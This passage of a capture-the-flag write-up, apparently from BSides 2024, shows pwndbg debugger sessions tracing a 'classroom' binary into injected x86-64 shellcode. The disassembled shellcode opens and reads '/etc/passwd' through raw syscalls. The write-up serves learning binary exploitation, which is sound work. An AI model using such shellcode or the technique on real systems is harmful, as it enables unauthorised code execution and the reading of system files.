   <span class="mh">0x000000000040091b</span> <span class="o">&lt;+</span><span class="mi">15</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="n">rax</span>
   <span class="mh">0x000000000040091f</span> <span class="o">&lt;+</span><span class="mi">19</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span>
   <span class="mh">0x0000000000400923</span> <span class="o">&lt;+</span><span class="mi">23</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x0000000000400926</span> <span class="o">&lt;+</span><span class="mi">26</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x400720</span> <span class="o">&lt;</span><span class="n">strlen</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
   <span class="mh">0x000000000040092b</span> <span class="o">&lt;+</span><span class="mi">31</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdx</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x000000000040092e</span> <span class="o">&lt;+</span><span class="mi">34</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rax</span><span class="p">,</span><span class="n">QWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rbp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span>
   <span class="mh">0x0000000000400932</span> <span class="o">&lt;+</span><span class="mi">38</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x0000000000400935</span> <span class="o">&lt;+</span><span class="mi">41</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">edi</span><span class="p">,</span><span class="mh">0x1</span>
   <span class="mh">0x000000000040093a</span> <span class="o">&lt;+</span><span class="mi">46</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="mh">0x400700</span> <span class="o">&lt;</span><span class="n">write</span><span class="err">@</span><span class="n">plt</span><span class="o">&gt;</span>
   <span class="mh">0x000000000040093f</span> <span class="o">&lt;+</span><span class="mi">51</span><span class="o">&gt;:</span>    <span class="n">lea</span>    <span class="n">rdx</span><span class="p">,[</span><span class="n">rip</span><span class="o">+</span><span class="mh">0x2016fa</span><span class="p">]</span>        <span class="err">#</span> <span class="mh">0x602040</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;</span>
   <span class="mh">0x0000000000400946</span> <span class="o">&lt;+</span><span class="mi">58</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">eax</span><span class="p">,</span><span class="mh">0x0</span>
   <span class="mh">0x000000000040094b</span> <span class="o">&lt;+</span><span class="mi">63</span><span class="o">&gt;:</span>    <span class="n">call</span>   <span class="n">rdx</span>
   <span class="mh">0x000000000040094d</span> <span class="o">&lt;+</span><span class="mi">65</span><span class="o">&gt;:</span>    <span class="n">nop</span>
   <span class="mh">0x000000000040094e</span> <span class="o">&lt;+</span><span class="mi">66</span><span class="o">&gt;:</span>    <span class="n">leave</span>
   <span class="mh">0x000000000040094f</span> <span class="o">&lt;+</span><span class="mi">67</span><span class="o">&gt;:</span>    <span class="n">ret</span>
<span class="n">End</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">dump</span><span class="p">.</span>
</code></pre></div></div>

<p>break at <code class="language-plaintext highlighter-rouge">0x000000000040094b &lt;+63&gt;:    call   rdx</code> and run <code class="language-plaintext highlighter-rouge">sploit.py</code>. 
GDB will break at <code class="language-plaintext highlighter-rouge">call rdx</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">b</span> <span class="o">*</span><span class="mh">0x000000000040094b</span>
<span class="n">Breakpoint</span> <span class="mi">1</span> <span class="n">at</span> <span class="mh">0x40094b</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">c</span>
<span class="n">Continuing</span><span class="p">.</span>

<span class="n">Breakpoint</span> <span class="mi">1</span><span class="p">,</span> <span class="mh">0x000000000040094b</span> <span class="n">in</span> <span class="n">kids_are_not_allowed_here</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">─────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────</span>
<span class="o">*</span><span class="n">RAX</span>  <span class="mi">0</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffede8dd408</span> <span class="err">—▸</span> <span class="mh">0x7ffede8de4f5</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
<span class="o">*</span><span class="n">RCX</span>  <span class="mh">0x7f561a9d14e0</span> <span class="p">(</span><span class="n">write</span><span class="o">+</span><span class="mi">16</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
<span class="o">*</span><span class="n">RDX</span>  <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0x657672685841026a</span>
<span class="o">*</span><span class="n">RDI</span>  <span class="mi">1</span>
<span class="o">*</span><span class="n">RSI</span>  <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="o">*</span><span class="n">R8</span>   <span class="mi">4</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
<span class="o">*</span><span class="n">R11</span>  <span class="mh">0x202</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffede8dd418</span> <span class="err">—▸</span> <span class="mh">0x7ffede8de524</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7f561ab24000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f561ab252c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x7ffede8dd2d8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7ffede8dd2c8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x40094b</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">63</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">call</span> <span class="n">rdx</span>
<span class="err">──────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mh">0x40094b</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">63</span><span class="o">&gt;</span>    <span class="n">call</span>   <span class="n">rdx</span>                         <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;</span>
        <span class="n">rdi</span><span class="o">:</span> <span class="mi">1</span>
        <span class="n">rsi</span><span class="o">:</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
        <span class="n">rdx</span><span class="o">:</span> <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0x657672685841026a</span>
        <span class="n">rcx</span><span class="o">:</span> <span class="mh">0x7f561a9d14e0</span> <span class="p">(</span><span class="n">write</span><span class="o">+</span><span class="mi">16</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 
   <span class="mh">0x40094d</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span><span class="o">&gt;</span>    <span class="n">nop</span>    
   <span class="mh">0x40094e</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">66</span><span class="o">&gt;</span>    <span class="n">leave</span>  
   <span class="mh">0x40094f</span> <span class="o">&lt;</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">67</span><span class="o">&gt;</span>    <span class="n">ret</span>    
 
   <span class="mh">0x400950</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">&gt;</span>                          <span class="n">push</span>   <span class="n">rbp</span>
   <span class="mh">0x400951</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">1</span><span class="o">&gt;</span>                        <span class="n">mov</span>    <span class="n">rbp</span><span class="p">,</span> <span class="n">rsp</span>
   <span class="mh">0x400954</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">4</span><span class="o">&gt;</span>                        <span class="n">add</span>    <span class="n">rsp</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x80</span>
   <span class="mh">0x400958</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">8</span><span class="o">&gt;</span>                        <span class="n">mov</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">0</span>
   <span class="mh">0x40095f</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">15</span><span class="o">&gt;</span>                       <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x33d</span><span class="p">]</span>              <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x400ca3</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">Have</span> <span class="n">a</span> <span class="n">nice</span> <span class="n">day</span><span class="o">!</span><span class="err">\</span><span class="n">n</span><span class="err">'</span>
   <span class="mh">0x400966</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">22</span><span class="o">&gt;</span>                       <span class="n">mov</span>    <span class="n">qword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rbp</span> <span class="o">-</span> <span class="mh">0x10</span><span class="p">],</span> <span class="n">rax</span>
   <span class="mh">0x40096a</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">26</span><span class="o">&gt;</span>                       <span class="n">lea</span>    <span class="n">rax</span><span class="p">,</span> <span class="p">[</span><span class="n">rip</span> <span class="o">+</span> <span class="mh">0x347</span><span class="p">]</span>              <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x400cb8</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rsi</span> <span class="cm">/* 'Very interesting question! Let me think about it.....' */</span>
<span class="err">────────────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">────────────────────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7ffede8dd2c8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">00</span><span class="mi">8</span> <span class="mh">0x7ffede8dd2d0</span> <span class="err">—▸</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span> <span class="n">rbp</span> <span class="mh">0x7ffede8dd2d8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="p">...</span> <span class="err">↓</span>        <span class="mi">5</span> <span class="n">skipped</span>
<span class="err">──────────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x40094b</span> <span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">63</span>
   <span class="mi">1</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">2</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">3</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">4</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">5</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">6</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">7</span> <span class="mh">0x9090909090909090</span>
<span class="err">─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>Continue execution.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">c</span>
<span class="n">Continuing</span><span class="p">.</span>

<span class="n">Program</span> <span class="n">received</span> <span class="n">signal</span> <span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">Segmentation</span> <span class="n">fault</span><span class="p">.</span>
<span class="mh">0x0000000000602040</span> <span class="n">in</span> <span class="n">ans</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">─────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────</span>
 <span class="n">RAX</span>  <span class="mi">0</span>
 <span class="n">RBX</span>  <span class="mh">0x7ffede8dd408</span> <span class="err">—▸</span> <span class="mh">0x7ffede8de4f5</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
 <span class="n">RCX</span>  <span class="mh">0x7f561a9d14e0</span> <span class="p">(</span><span class="n">write</span><span class="o">+</span><span class="mi">16</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
 <span class="n">RDX</span>  <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0x657672685841026a</span>
 <span class="n">RDI</span>  <span class="mi">1</span>
 <span class="n">RSI</span>  <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
 <span class="n">R8</span>   <span class="mi">4</span>
 <span class="n">R9</span>   <span class="mi">7</span>
 <span class="n">R10</span>  <span class="mi">7</span>
 <span class="n">R11</span>  <span class="mh">0x202</span>
 <span class="n">R12</span>  <span class="mi">0</span>
 <span class="n">R13</span>  <span class="mh">0x7ffede8dd418</span> <span class="err">—▸</span> <span class="mh">0x7ffede8de524</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
 <span class="n">R14</span>  <span class="mh">0x7f561ab24000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7f561ab252c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
 <span class="n">RBP</span>  <span class="mh">0x7ffede8dd2d8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7ffede8dd2c0</span> <span class="err">—▸</span> <span class="mh">0x40094d</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x602040</span> <span class="p">(</span><span class="n">ans</span><span class="p">)</span> <span class="err">◂—</span> <span class="mh">0x657672685841026a</span>
<span class="err">──────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">───────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mh">0x602040</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;</span>       <span class="n">push</span>   <span class="mi">2</span>
   <span class="mh">0x602042</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">2</span><span class="o">&gt;</span>     <span class="n">pop</span>    <span class="n">r8</span>                             <span class="n">R8</span> <span class="o">=&gt;</span> <span class="mi">2</span>
   <span class="mh">0x602044</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">4</span><span class="o">&gt;</span>     <span class="n">push</span>   <span class="mh">0x1657672</span>
   <span class="mh">0x602049</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">9</span><span class="o">&gt;</span>     <span class="n">xor</span>    <span class="n">dword</span> <span class="n">ptr</span> <span class="p">[</span><span class="n">rsp</span><span class="p">],</span> <span class="mh">0x1010101</span>     <span class="p">[</span><span class="mh">0x7ffede8dd2b8</span><span class="p">]</span> <span class="o">=&gt;</span> <span class="mi">6584179</span>
   <span class="mh">0x602050</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">16</span><span class="o">&gt;</span>    <span class="n">movabs</span> <span class="n">rax</span><span class="p">,</span> <span class="mh">0x7361702f6374652f</span>        <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mh">0x7361702f6374652f</span> <span class="p">(</span><span class="err">'</span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">pas</span><span class="err">'</span><span class="p">)</span>
   <span class="mh">0x60205a</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">26</span><span class="o">&gt;</span>    <span class="n">push</span>   <span class="n">rax</span>
   <span class="mh">0x60205b</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">27</span><span class="o">&gt;</span>    <span class="n">push</span>   <span class="mi">2</span>
   <span class="mh">0x60205d</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">29</span><span class="o">&gt;</span>    <span class="n">pop</span>    <span class="n">rax</span>                            <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="mi">2</span>
   <span class="mh">0x60205e</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">30</span><span class="o">&gt;</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span> <span class="n">rsp</span>                       <span class="n">RDI</span> <span class="o">=&gt;</span> <span class="mh">0x7ffede8dd2b0</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">passwd</span><span class="err">'</span>
   <span class="mh">0x602061</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">33</span><span class="o">&gt;</span>    <span class="n">xor</span>    <span class="n">esi</span><span class="p">,</span> <span class="n">esi</span>                       <span class="n">ESI</span> <span class="o">=&gt;</span> <span class="mi">0</span>
   <span class="mh">0x602063</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">35</span><span class="o">&gt;</span>    <span class="n">syscall</span> 
<span class="err">────────────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">────────────────────────────────────────────────────────────────────────</span>
<span class="mo">00</span><span class="o">:</span><span class="mo">0000</span><span class="err">│</span> <span class="n">rsp</span> <span class="mh">0x7ffede8dd2c0</span> <span class="err">—▸</span> <span class="mh">0x40094d</span> <span class="p">(</span><span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">nop</span> 
<span class="mo">01</span><span class="o">:</span><span class="mo">000</span><span class="mi">8</span><span class="err">│</span><span class="o">-</span><span class="mo">010</span> <span class="mh">0x7ffede8dd2c8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="mo">02</span><span class="o">:</span><span class="mo">0010</span><span class="err">│</span><span class="o">-</span><span class="mo">00</span><span class="mi">8</span> <span class="mh">0x7ffede8dd2d0</span> <span class="err">—▸</span> <span class="mh">0x400c68</span> <span class="err">◂—</span> <span class="n">push</span> <span class="n">rdi</span>
<span class="mo">03</span><span class="o">:</span><span class="mo">001</span><span class="mi">8</span><span class="err">│</span> <span class="n">rbp</span> <span class="mh">0x7ffede8dd2d8</span> <span class="err">◂—</span> <span class="mh">0x9090909090909090</span>
<span class="p">...</span> <span class="err">↓</span>        <span class="mi">4</span> <span class="n">skipped</span>
<span class="err">──────────────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">BACKTRACE</span> <span class="p">]</span><span class="err">──────────────────────────────────────────────────────────────────────</span>
 <span class="err">►</span> <span class="mi">0</span>         <span class="mh">0x602040</span> <span class="n">ans</span>
   <span class="mi">1</span>         <span class="mh">0x40094d</span> <span class="n">kids_are_not_allowed_here</span><span class="o">+</span><span class="mi">65</span>
   <span class="mi">2</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">3</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">4</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">5</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">6</span> <span class="mh">0x9090909090909090</span>
   <span class="mi">7</span> <span class="mh">0x9090909090909090</span>
<span class="err">─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span>
</code></pre></div></div>

<p>Disassemble instruction at $rip</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">x</span> <span class="err">$</span><span class="n">rip</span>
<span class="mh">0x602040</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">&gt;:</span> <span class="mh">0x5841026a</span>      <span class="mh">0x65767268</span>      <span class="mh">0x24348101</span>      <span class="mh">0x01010101</span>
<span class="mh">0x602050</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">16</span><span class="o">&gt;:</span>      <span class="mh">0x652fb848</span>      <span class="mh">0x702f6374</span>      <span class="mh">0x6a507361</span>      <span class="mh">0x89485802</span>
<span class="mh">0x602060</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">32</span><span class="o">&gt;:</span>      <span class="mh">0x0ff631e7</span>      <span class="mh">0xc3894805</span>      <span class="mh">0x6ac78948</span>      <span class="mh">0x89485805</span>
<span class="mh">0x602070</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">48</span><span class="o">&gt;:</span>      <span class="mh">0x48050fe6</span>      <span class="mh">0x4830c483</span>      <span class="mh">0x4924148b</span>      <span class="mh">0x286ad289</span>
<span class="mh">0x602080</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">64</span><span class="o">&gt;:</span>      <span class="mh">0xc7894c58</span>      <span class="mh">0x99de8948</span>      <span class="mh">0x6161050f</span>      <span class="mh">0x61616174</span>
<span class="mh">0x602090</span> <span class="o">&lt;</span><span class="n">ans</span><span class="o">+</span><span class="mi">80</span><span class="o">&gt;:</span>      <span class="mh">0x61616175</span>      <span class="mh">0x61616176</span>      <span class="mh">0x61616177</span>      <span class="mh">0x0000000a</span>
<span class="mh">0x6020a0</span><span class="o">:</span>       <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>
<span class="mh">0x6020b0</span><span class="o">:</span>       <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>      <span class="mh">0x00000000</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">disassemble</span> <span class="err">$</span><span class="n">rip</span>
<span class="n">Dump</span> <span class="n">of</span> <span class="n">assembler</span> <span class="n">code</span> <span class="k">for</span> <span class="n">function</span> <span class="n">ans</span><span class="o">:</span>
<span class="o">=&gt;</span> <span class="mh">0x0000000000602040</span> <span class="o">&lt;+</span><span class="mi">0</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="mh">0x2</span>
   <span class="mh">0x0000000000602042</span> <span class="o">&lt;+</span><span class="mi">2</span><span class="o">&gt;:</span>     <span class="n">pop</span>    <span class="n">r8</span>
   <span class="mh">0x0000000000602044</span> <span class="o">&lt;+</span><span class="mi">4</span><span class="o">&gt;:</span>     <span class="n">push</span>   <span class="mh">0x1657672</span>
   <span class="mh">0x0000000000602049</span> <span class="o">&lt;+</span><span class="mi">9</span><span class="o">&gt;:</span>     <span class="n">xor</span>    <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">rsp</span><span class="p">],</span><span class="mh">0x1010101</span>
   <span class="mh">0x0000000000602050</span> <span class="o">&lt;+</span><span class="mi">16</span><span class="o">&gt;:</span>    <span class="n">movabs</span> <span class="n">rax</span><span class="p">,</span><span class="mh">0x7361702f6374652f</span>
   <span class="mh">0x000000000060205a</span> <span class="o">&lt;+</span><span class="mi">26</span><span class="o">&gt;:</span>    <span class="n">push</span>   <span class="n">rax</span>
   <span class="mh">0x000000000060205b</span> <span class="o">&lt;+</span><span class="mi">27</span><span class="o">&gt;:</span>    <span class="n">push</span>   <span class="mh">0x2</span>
   <span class="mh">0x000000000060205d</span> <span class="o">&lt;+</span><span class="mi">29</span><span class="o">&gt;:</span>    <span class="n">pop</span>    <span class="n">rax</span>
   <span class="mh">0x000000000060205e</span> <span class="o">&lt;+</span><span class="mi">30</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rsp</span>
   <span class="mh">0x0000000000602061</span> <span class="o">&lt;+</span><span class="mi">33</span><span class="o">&gt;:</span>    <span class="n">xor</span>    <span class="n">esi</span><span class="p">,</span><span class="n">esi</span>
   <span class="mh">0x0000000000602063</span> <span class="o">&lt;+</span><span class="mi">35</span><span class="o">&gt;:</span>    <span class="n">syscall</span>
   <span class="mh">0x0000000000602065</span> <span class="o">&lt;+</span><span class="mi">37</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rbx</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x0000000000602068</span> <span class="o">&lt;+</span><span class="mi">40</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rdi</span><span class="p">,</span><span class="n">rax</span>
   <span class="mh">0x000000000060206b</span> <span class="o">&lt;+</span><span class="mi">43</span><span class="o">&gt;:</span>    <span class="n">push</span>   <span class="mh">0x5</span>
   <span class="mh">0x000000000060206d</span> <span class="o">&lt;+</span><span class="mi">45</span><span class="o">&gt;:</span>    <span class="n">pop</span>    <span class="n">rax</span>
   <span class="mh">0x000000000060206e</span> <span class="o">&lt;+</span><span class="mi">46</span><span class="o">&gt;:</span>    <span class="n">mov</span>    <span class="n">rsi</span><span class="p">,</span><span class="n">rsp</span>
   <span class="mh">0x0000000000602071</span> <span class="o">&lt;+</span><span class="mi">49</span><span class="o">&gt;:</span>    <span class="n">syscall</span>
